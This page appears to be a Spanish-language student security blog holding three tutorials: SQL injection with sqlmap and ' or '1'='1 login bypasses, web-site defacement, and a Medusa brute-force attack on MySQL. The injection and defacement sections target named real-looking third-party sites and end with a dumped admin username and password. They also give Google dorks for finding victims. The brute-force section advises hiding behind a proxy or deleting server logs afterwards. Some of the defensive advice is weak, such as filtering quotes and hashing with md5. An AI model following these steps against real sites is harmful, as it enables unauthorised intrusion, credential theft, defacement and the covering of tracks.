La mayoría de aplicaciones webs consisten en un conjunto de operaciones con la base de datos, por ejemplo, en un foro para crear nuevos comentarios se insertan registros en la base de datos y para listar las entradas se seleccionan registros en la base de datos. Estas operaciones reciben el nombre de CRUD (Create, Retrieve, Update y Delete). Las aplicaciones son un conjunto de módulos separados que interaccionan entre sí a través de los enlaces y los formularios. Por lo tanto es normal que el desarrollador enlace las distintas páginas utilizando variables que después utilizará para hacer las consultas pertinentes a la base de datos.

Con sql injection podemos obtener correos electrónicos y passwords de cuentas de hotmail, facebook, gmail, yahoo, entre otros.

¿Por qué es peligroso?

Porque pueden no solo sacar información de la base de datos (usuarios, contraseñas, etc.), sino también pueden borrar la base de datos, dejarla inservible.

1.1.1.- OBJETIVOS

Propósito

El propósito del ataque es acceder a pórtales web y acceder a los registros de las tablas pudiendo administrarlas a nuestro antojo.

1.2.- DIAGRAMA DEL ATAQUE

1.3.- ALCANCE

Ataque a servidores.

1.4.- GLOSARIO DE TÉRMINOS

Cliente.- Es una aplicación informática o un computador que consume un servicio remoto en otro computador conocido como servidor normalmente a través de una red de telecomunicación.

Función Booleana.- Es una función cuyo dominio son las palabras conformadas por los valores binarios 0 ó 1 (“falso” o “verdadero“, respectivamente), y cuyo codominio son ambos valores 0 y 1.

Create.- Término en inglés cuyo significado en español es Crear.

Delete.- Término en inglés cuyo significado en español es Borrar.

Google dork.-Es un parámetro de búsqueda que nos muestra un listado de páginas que tienen el formato para ser posiblemente inyectadas.

Retrieve.- Término en inglés cuyo significado en español es Recuperar.

Servidor.- Computadora que formando parte de una red provee servicios a otras computadoras denominadas clientes.

Tester.- Llámesele al individuo y/o agente encargado de realizar las pruebas.

Update.- Término en inglés cuyo significado en español es Actualizar

2.- TUTORIAL

Pasos a seguir

En este caso, lo primero que realizamos fue la búsqueda de páginas vulnerables al ataque SQL injectiom, las mismas que deben mostrar su id.

“.php=?id=#”

“.asp=?id=#”

Éste proceso lo pueden realizar de varias maneras:

1) Puedes digitar alguna GoogleDork. Ejemplo:

lnurl:php?id=

inurl:php?sid=

inurl:asp?id=

inurl:newsdetail.php?id=

inurl:index.php?id=

Cómo saber si el sitio es vulnerable o no.

Tenemos que saber si es vulnerable o no, para eso pondremos un apostrofe “ ‘ “ al final del link de la pagina que queremos vulnerar. Si nos dispara un error, quiere decir que es vulnerable, si no, quiere decir que los administradores tienen al día su sitio, sin embargo no quiere decir que no sea vulnerable, solo que requiere un grado de especialización mayor para lograr penetrar el sitio.

Ingresaremos al siguiente sitio antes de verificar si tiene vulnerabilidad.

http://microngc.net/info_page.php?id=22

http://microngc.net/info_page.php?id=22′

Al agregar el apostrofe y actualizar el link notamos el siguiente error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\” at line 1.

Esto es un indicio de que la pagina es vulnerable.

Una vez que conseguí mi página vulnerable hago uso de la herramienta SqlMap que nos permite realizar la inyecciónSQL automatizada:

Abrimos la ventana de comandos del sqlmap

Colocamos la siguiente línea de comando para extraer el nombre de la base de datos de la web vulnerable:

./sqlmap.py –u http://www.pagina_vulnerable/detalle.php?id=1 –-dbs

Donde –ues para colocar el URL y –-dbspara extraer el nombre de la base

Después de realizar el comando anterior procedemos a colocar la siguiente línea de comandos:

./sqlmap.py –u http://www.pagina_vulnerable/detalle.php?id=1 –D (nombre_base) –-tables

Donde –Des para el nombre de la base de datos y –-tables para extraer las tablas de dicha base.

En la imagen anterior nos muestra las tablas que contiene la aplicación web, sin embargo nosotros tenemos el poder de decidir a qué tabla acceder.

Ahora procedemos a sacar las columnas de una de las tablas con el siguiente comando:

./sqlmap.py –u http://www.pagina_vulnerable/detalle.php?id=1 –D (nombre_base) –T (nombre_tabla) –columns

Donde –T es para el nombre de la tabla y –-columns para extraer las columnas de dicha tabla.

Ahora procedemos a sacar los datos del campo que elegimos Ejecutamos el comando

./sqlmap.py –u http://www.pagina_vulnerable/detalle.php?id=1 –D (nombre_base) –T (nombre_tabla) –C (nombre_columna) –-dump

Donde –Ces para el nombre de la columna y –-dumppara extraer la información

Bueno eso fue todo, espero que les haya gustado y sean eticos con las webs que vayan a encontrar de este tipo, no realicen modificaciones en las cuentas que logren entrar, ya que eso solamente lo harías los lammers,recuerden que el propósito de este blog es aprender para servir.

 

Otra Manera

 

Pues además de hacer uso del backtrack, también podemos emplear lógica booleana, la cual nos permitirá engañar a los pórtales web que han sido diseñados sin seguir todos los parámetros de seguridad necesarios, recordemos que nada es 100% seguro, y muchos programadores aún cometen el siguiente error:

“SELECT * FROM TRABAJADOR WHERE [clave personal]=’” & pass & “‘ AND TRABAJADOR=’” & usuario & “‘”

Seguramente si alguna vez has programado enviando datos por parámetros, te dirás, ¿qué le pasa? Ahí no hay errores, y en parte tienes razón pues no hay errores, sin embargo no estás tomando todas las medidas de seguridad necesarias, mira qué sucede si a la línea de código antes expresada le añado lo siguiente:

’ or ‘a’=‘a’

Ahora observa cómo viene a quedar la sentencia

“SELECT * FROM TRABAJADOR WHERE [clave personal] =’’ or ‘a’=‘a’‘ AND TRABAJADOR=’’ or ‘a’=‘a’‘”

En este caso, cómo ya sabemos la lógica del or tiende a dar por verdadero si al menos una de sus condiciones es verdadera, en este caso a=a.

También puedes hacerlo sin hacer la comparación:

‘or ‘ ‘=’

Sucede que el carácter que permite inyectar SQL es la comilla simple. Este carácter es interpretado por SQL como el inicio de una instrucción y podemos concatenar nuestras instrucciones si lo hacemos con habilidad.

Para este caso, tú mi querido amigo(a) quién luego de juzgarme, te has dado cuenta que no mentía, cometías el error de no filtrar la entrada. Si tan sólo hubieras aplicado un filtro para no permitir caracteres extraños, el error nunca sucedería, por tanto te recomiendo que siempre uses filtros, ah y por cierto comunícale eso a cualquier conocido que se maneje en el apasionante mundo informático.

Para que puedan poner en práctica la inyección sql con lógica booleana, les mencionaremos unas cuantas páginas vulnerables

2.1.- RECOMENDACIONES

* Lo más sensato que debemos tener en cuenta al prevenir estos ataques es filtrar el carácter ‘ (comilla simple) por “ (comilla doble), e incluso evitando que los usuarios puedan pasar caracteres como \ / “ ‘ o cualquier otro que se nos ocurra que puede causar problemas si hablamos a nivel de web, hacerlo siempre en cliente y servidor, si hablamos en un entorno de red local, filtrar la entrada del campo en el programa.
A nivel de web, si sólo se filtra en el cliente, es fácil saltarse la validación y provocar un fallo del estilo de los que hemos visto, para extraer información, de ahí la necesidad de hacerlo en el cliente.

* Otro factor importante en cuanto a la seguridad es limitar al máximo los permisos del usuario que ejecuta estas sentencias para evitar posibles problemas.

Por ejemplo utilizando un usuario distinto para
las sentencias SELECT, DELETE, UPDATE y asegurándonos que cada ejecución de una sentencia ejecute una sentencia del tipo permitido.

* Por supuesto utilizar el usuario que pertenezca al rol ‘db_owner’ para ejecutar las sentencias de uso habitual de la base de datos debería quedar descartado.

Una solución definitiva sería trabajar con procedimientos almacenados.
El modo en el que se pasan los parámetros a los procedimientos almacenados evita que la inyección SQL pueda ser usada. Por ejemplo utilizando el siguiente procedimiento almacenado:

CREATE Procedure Validar @usuario varchar (50), @passwordvarchar (50)

AS
If (SELECT Count (*) FROMUsuarios WHEREUsuario=@Usuario and Password=@password)>0
Return 1
Return 0

También deberíamos validar los datos que introduce el usuario teniendo en cuenta por ejemplo la longitud de
los campos y el tipo de datos aceptados.

Por último, podemos programar en ASP.NET y utilizar siempre que seanposibles las clases

System.Web.Security.FormsAuthentication para que los usuarios entren en nuestras aplicaciones Web.

Cómo pueden observar en el dibujo, en el usuario digitamos ‘or’1’=’1 y lo mismo en la contraseña.

Acá ya tenemos el resultado, es decir pudimos acceder a  la página deseada.

 

A continuación el video

2.1.- CONCLUSIONES

Vemos cuán peligroso puede ser este tipo de ataque, recuerden que éste se vale de las vulnerabilidades en nuestras aplicaciones, cómo mencionamos desde la introducción, se pueden obtener todos los datos que quieran de nuestra base de datos y de ficheros alojados en el servidor de tal manera que nuestros registros pierden seguridad a tal punto que podrían borrar toda la tabla con una simple línea de código.

2.2.- AUTORES

Castro Campoverde Estefania               @jocfacastro

Castro Vásquez Ketty                      @KettyCastroV

Garaicoa Prado Daniela                    @dani_garaicoa

García Ruíz Sandy                         @dayanns1990

Jiménez Fernández Thalia                       @thaijife92

DEFACING WEB

DEFACING WEB

ACLARACION:

  El siguiente ataque tiene fines académicos no nos responsabilizamos el uso que se de a esta información nuestro propósito es dar a conocer nuestra técnica para que usted se proteja de ataques similares.

Imagen

INTRODUCCION:

El Deface / Defacing / Defacement es la modificación de una página web sin autorización del dueño de la misma.

La mayoría de las veces logran defacear un sitio consiguiendo acceso mediante alguna vulnerabilidad que el programador haya dejado en el mismo.
También por passwords débiles, problemas en el FTP, etc.

Imagen

OBJETIVOS:

Existen varios objetivos, dependiendo de quien venga el ataque, una de ellas es hacer una  injeccion de código afectando la sintaxis para lograr sentencias,  luego  infiltrarnos  al servidor para tener un mejor control sobre la web o hasta aplicando ingeniera social y hacer algo de pishing y obtener datos importantes .Pero nuestro objetivo es que puedan  probarlo en sus páginas web, para que se den cuenta si tienen vulnerabilidades y así poder corregirlas.

DIAGRAMA:

Imagen

ALCANCE:

Vamos a utilizar redes LAN, WAN, HERRAMIENTAS (BACKTRACK).

Imagen

GLOSARIO:

Testear: Examinar, verificar, controlar

Shell: un shell es una pieza de software que provee una interfaz para usuarios

Defacing: Aletración o cambio  producido de manera intencionada en una página web por un atacante.

BackTrack:  Relacionada con la seguridad informática en general

Hackear: Acción de irrumpir o entrar de manera forzada a un sistema de cómputo o a una red

SQL injection:  Técnica utilizada con el fin de alterar o atacar un sitio o servidor a través de comandos SQL.

Uploader =subir archivos.

Imagen

RECOMENDACIONES:

Garantizar que las contraseñas de acceso al sistema en línea sean almacenadas en forma encriptada en la base de datos, usando funciones tales como md5.  De esta manera, un atacante que ejecute una inyección SQL contra la base de datos no podrá ver en texto plano las contraseñas almacenadas.

Deshabilitar cualquier script o porción del código que permita la carga de archivos insegura desde la web a su sistema de archivos o su base de datos.

Estas funciones son utilizadas por los atacantes remotos para cargar contenidos del deface al sitio (funciones fopen, include, require, por ejemplo), por lo que deberá asegurarse que no estén disponibles entre los scripts del sitio.

Cambiar los permisos del directorio del sitio a solo lectura, para evitar que los atacantes puedan subir archivos a su carpeta visible por web.

Imagen

CONCLUSIONES:

Lo que hay detrás de un deface es mas que reemplazar un index y requiere dedicación para aplicar una verdadera acción tanto para el que realizo el deface para aprender mas en seguridad de programación como para el administrador del sitio que fue defaceado para el mismo propósito pero con diferente aplicación. Defenderse de esas vulnerabilidades.

TUTORIAL.-

Hoy  enseñaremos como hacer un defacing en un sitio web con sqlmap.py en BackTrack 5 r2, Sqlmap es una herramienta automática de inyección SQL que te ayuda a hackear sitio web fácilmente.  Vamos a empezar:

  1. Abra el terminal .

Imagen

2.- Vamos a ejecutar el siguiente comando  cd / pentest / database / sqlmap

Ahora sqlmap está abierto en su terminal

Imagen

3.- Sqlmap esta programado en python así que es multiplataforma, solo necesitas tener instalado el interprete de python. Solo hay que descomprimir el archivo, dentro encontrarás un script llamado “sqlmap.py”.

Lo hacemos de la siguiente manera.

python sqlmap.py

Imagen

 

4.- Ahora vamos a buscar una web vulnerable.

Encontrar una web vulnerable, Nos dirigimos a la pagina de Google y en el buscador colocamos esto id = cat index.php?. Bastante sencillo, tan solo colocar una ‘ (Comillas, coma, punto, cualquier caracter) al final de la variable es decir /index.php?id=28′ nos deberá marcar un error más o menos así (Puede variar los errores, pero el más común entre ellos es este):

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1

Bueno yo ya tengo la mia, la cual es la siguiente: http://www.aga-grinbo.com/  la revisamos hasta que en el URL nos apare algo como esto http://www.aga-grinbo.com/news_detail.php?id=45.

 Imagen

5.- Luego la concatenamos con python sqlmap.py –u.

-u          ===> señala el nuestro objetivo.

–dbs Para listar el nombre todas las bases de datos. Ej:

Nos quedaría lo siguiente:  python sqlmap.py –u http://www.aga-grinbo.com/news_detail.php?id=45 –dbs

 

 Imagen

6.- Ahora nos vamos a google y buscamos PAGE ADMIN

Imagen

7.- Encontramos una luego copiaremos el Url de nuestra pagina vulnerable.

Imagen

8.- Regresamos al Backtrack y vemos que comienza a testear la pagina

Imagen

9.- Agregamos al URL nuestra pagina vulnerable la palabra: /ADMIN.

Imagen

10.- Hemos vulnerado la pagina y nos pregunta si queremos seguir probando PARAMETROS  a los cual respondemos YES.

Imagen

11.- Ahora vamos a pedir el numero de tablas que tiene la base de datos que hemos encontrado la cual es: usr_web14_1.

-D               ====> señalamos el nombre de la base de datos.

–tables       ====> pedimos el número de tablas.
Nos quedaría asi:

python sqlmap.py –u http://www.aga-grinbo.com/news_detail.php?id=45 –D usr_web14_1  –table

Imagen

Imagen

12.- Ahora vamos a pedir que nos muestre las columnas de la tabla admind_detail

-T              ===> señalamos el nombre de la tabla.
–columns ===> pedimos el numero de columnas.

python sqlmap.py –d http://www.aga-grinbo.com/news_detail.php?id=45 –D usr_web14_1  -T  admin_details –columns

 Imagen

13.- Ahora vamos a pedir que nos muestre la data de las columna admin_name.

-C               ===> señalamos el nombre de la columna.
–dump       ===> pedimos la que nos muestre la data de la columna.

python sqlmap.py –u http://www.aga-grinbo.com/news_detail.php?id=45 –D usr_web14_1  -T  admin_name –dump

Imagen

Imagen

14.- Hemos notado el signo > y digitamos 1

Imagen

15.- Como verán encontramos el User Name:  admin@admin.com

Repetimos el mismo paso para  encontrar el PASSWORD

python sqlmap.py –u http://www.aga-grinbo.com/news_detail.php?id=45 –D usr_web14_1  -T  admin_password  –dump

Imagen

16.- Bingo hemos encontrado el PASSWORD:  admin

Imagen

Ok.  Ya estoy dentro de la administración de la pagina, pero tengan en cuenta que cada pagina web es diferente, cada una de ellas a veces solamente permiten modificar ciertas cosas o partes y hay algunas que tienen un uploader y otras no.

Es aquí donde empezamos nuestro deface ya sea modificando, cambiando el index etc…

Recuerden que este tutorial fue hecho con el fin de saber cuando nuestra página web es vulnerable y poder evitar que alguien mal intencionado modifique nuestra página web, puesto que a nadie nos gustaría aquello.

Nota: hemos elegido un buen tutorial de la web con el cual hemos comprobado que en realidad funciona y hemos tratado de entrar más en detalles.

VIDEO

SEGURIDAD INFORMATICA

S7J

GRUPO#12

•RONALD MAZINI

•MARJORIE TIGRERO

•LUIS MORALES  twitter@luisms7j

•KAREN ESPINOZA

•LADY TOBAR

ATAQUE FUERZA BRUTA A MYSQL

Imagen

ACLARACIÓN:

 El siguiente ataque tiene únicamente fines didácticos, no nos hacemos responsables por la visualización, gestión o manipulación del material presentado en esta web o de su uso

INTRODUCCIÓN:

 El ataque de fuerza bruta, es el procedimiento de cracking utilizado para obtener las claves o códigos necesarios para acceder a un equipo, sistema, sitio web, etc. consistente en utilizar bien combinaciones aleatorias bien listados de palabras, así como el método de prueba y error, hasta alcanzar una combinación correcta. Para obtenerlos se hace uso de diccionarios de palabras. 

OBJETIVO:

 El objetivo de este tipo de ataques es de obtener acceso a la maquina víctima o programa por medio de su propio user y password, por este ataque podemos acceder y obtener password de algunos servicio.

En el artículo vamos a demostrar paso a paso como funciona este ataque de FUERZA BRUTA y al servicio al que vamos a realizar el ataque es al de Mysql, además al final se presentara un vídeo por el cual pondremos en práctica todo lo explicado anteriormente.

LO QUE USAREMOS PARA EL ATAQUE:

  • Maquina virtual con Backtrack sera el Atacante
    • Herramienta de Backtrack a usar será Medusa
    • Escaneo de Puerto
    • Diccionario de Datos
  • Maquina virtual con Windows Xp (o el de su preferencia) Victima
    • Instalar Mysql

QUE ES MEDUSA:

 HERRAMIENTAS QUE TIENE INCORPORADO BACKTRACK PARA REALIZAR ATAQUES DE FUERZA BRUTA EXPLOTANDO VULNERABILIDADES DE PUERTOS ABIERTOS. 

Como utilizar eficientemente Medusa 

Antes de utilizar Medusa tenemos que estar claro en muchas cosas las cuales nos puede ahorrar mucho el trabajo, hacerlo mas cómodo o de forma eficiente, una de ella es aprendernos los parámetros o las opciones que la herramienta nos da.

Antes que todo revisar los servicios o módulos disponibles que nos presenta Medusa, debido a que cada actualización pudiese tener consigo nuevos servicios, para listar dichos módulos usamos la consola y tecleamos.

 Medusa -d

 Las opciones más interesantes para lanzar un ataque de fuerza bruta son:

 [-h host|-H file]: Mediante -h especificamos un determinado host, mientras que con -H indicamos un fichero dónde encontrar un listado de hosts a atacar.

 [-u username|-U file]: Mediante -u indicamos un usuario, mientras que con -U indicamos un diccionario con usuarios.

 [-p password|-P file]: Mediante -p indicamos una contraseña a probar o ubicación del diccionario, mientras que con -P indicamos un diccionario de contraseñas.

 -M module: Con -M indicamos un módulo de los disponibles para el protocolo o servicio que nos interese.

 -f: Detiene el Ataque en el Instante de encontrar un Password Valido

 -b: Suprime los Banners

COMO FUNCIONARA EL ATAQUE:

  1. Levantar la herramienta medusa
  2. Hacer un escaneo del puerto para verificar que nuestro ataque tenga éxito, en nuestro caso tiene que estar activo el puerto de Mysql que es el 3306
  3. Por último lo que haremos es enviar el ataque de fuerza bruta y obtendremos los resultados en este caso user y password del Mysql

EL ATAQUE:

1.- ABRIREMOS NUESTRA MAQUINA XP(VICTIMA) Y LE HAREMOS UN IPCONFIG PARA SABER SU IP

Imagen

2.-ABRIREMOS MYSQL Y ENTRAREMOS CON EL USER Y PASSWORD DEFINIDOS PARA ESTE CASO EL CUAL SERA user=root y password=abc123

Imagen

 3.-USAREMOS BACKTRACK, COMO YA SABEMOS LA IP DE LA MAQUINA VICTIMA, ABRIREMOS UN TERMINAL Y PROCEDEREMOS HACERLE UN PING A LA MAQUINA VICTIMA PARA SABER QUE ESTAMOS EN LINEA CON ELLA.

Imagen

4.-BUENO YA SABEMOS QUE HAY RESPUESTA DE LA MAQUINA VICTIMA, AHORA SI EMPEZAREMOS. LEVANTAMOS EL SERVICIO DE MEDUSA HERRAMIENTA QUE BACKTRACK TIENE INCORPORADO PARA REALIZAR ATAQUES DE FUERZA BRUTA, USAREMOS EL COMANDO sudo apt-get install medusa

Imagen

5.-UNA VEZ LEVANTADO EL SERVICIO DE MEDUSA PODEMOS VER LOS MÓDULOS QUE TIENE MEDUSA, COMO LO HACEMOS TIPEANDO EL COMANDO medusa –d

Imagen

6.-LUEGO DE ESO REALIZAREMOS UN MAPEO ALA MAQUINA VICTIMA PARA VERIFICAR QUE TENGA ABIERTO EL PUERTO QUE VAMOS ATACAR, EN ESTE CASO VAMOS ATACAR AL PUERTO 3306 QUE ES EL DE MYSQL LO HAREMOS CON EL COMANDO NMAP SEGUIDO POR LA IP VICTIMA. nmap 192.168.0.111

Imagen

7.-UNA VEZ QUE CONFIRMAMOS QUE EL PUERTO ESTA ABIERTO LANZAMOS EL ATAQUE ANTES DE ESO VERIFICAR QUE TENGAMOS NUESTRO DICCIONARIO DE DATOS O USAR EL QUE TIENE BACKTRACK POR DEFECTO YOU USARE 500-Worst-passwords.txt USTEDES PUEDEN USAR EL QUE MAS LES GUSTE (DEPENDIENDO DE QUE EXTENSO SEA SU DICCIONARIO SERA MUCHO MEJOR EL RESULTADO). USAREMOS EL COMANDO

Medusa –h 192.168.0.111 –u root –P /root/Desktop/500-Worst-passwords.txt –M Mysql –f –b 

Imagen

8.-DESPUÉS DE EVALUAR PASSWORD POR PASSWORD HASTA QUE DE CON LA QUE COINCIDA MOSTRARA UN MENSAJE QUE DICE:

ACCOUNT FOUND: [mysql] Host: 192.168.0.111 User: root Password: abc123 [SUCCESS]

Imagen

Algunas Observaciones

Existen algunos inconvenientes que debemos tener en cuenta antes de realizar un ataque de este tipo:

  • No  hay total certeza de encontrar el password, sin embargo la efectividad de un ataque con diccionario es directamente proporcional al tamaño del diccionario, es decir, entre más grande sea el diccionario mayor sera la probabilidad de  encontrar la contraseña.
  • Algunos sysadmin inteligentes restringen  el número de intentos de autenticacion a un número no mayor a 3, así que si nos topamos con un servidor serio, no podremos aplicar el ataque por fuerza bruta.
  • Cuando nos encontramos un servidor “vulnerable” a un ataque de fuerza bruta con diccionario, debemos tener muchísimo cuidado, ya que un ataque de esta naturaleza  hace demasiado “RUIDO” es decir, todos los intentos de conexión quedaran guardados en los logs del servidor, por eso es pertinente usar un proxy para hacer el ataque, o  en su defecto borrar los logs, inmediatamente después de entrar al server

INTEGRANTES:

GABRIEL HUAYAMABE                  Twitter @Gabrielhuayamab

HENRY VALLE                                  Twitter @henryvallev

MARÍA DEL CARMEN LOAIZA      Twitter  @MaritaLoaiza

MIRASOL OLAYA

POR ULTIMO PRESENTAMOS EL VÍDEO DE NUESTRO ATAQUE GRACIAS POR SU ATENCIÓN 

http://www.youtube.com/watch?v=gL7EQuQbnG4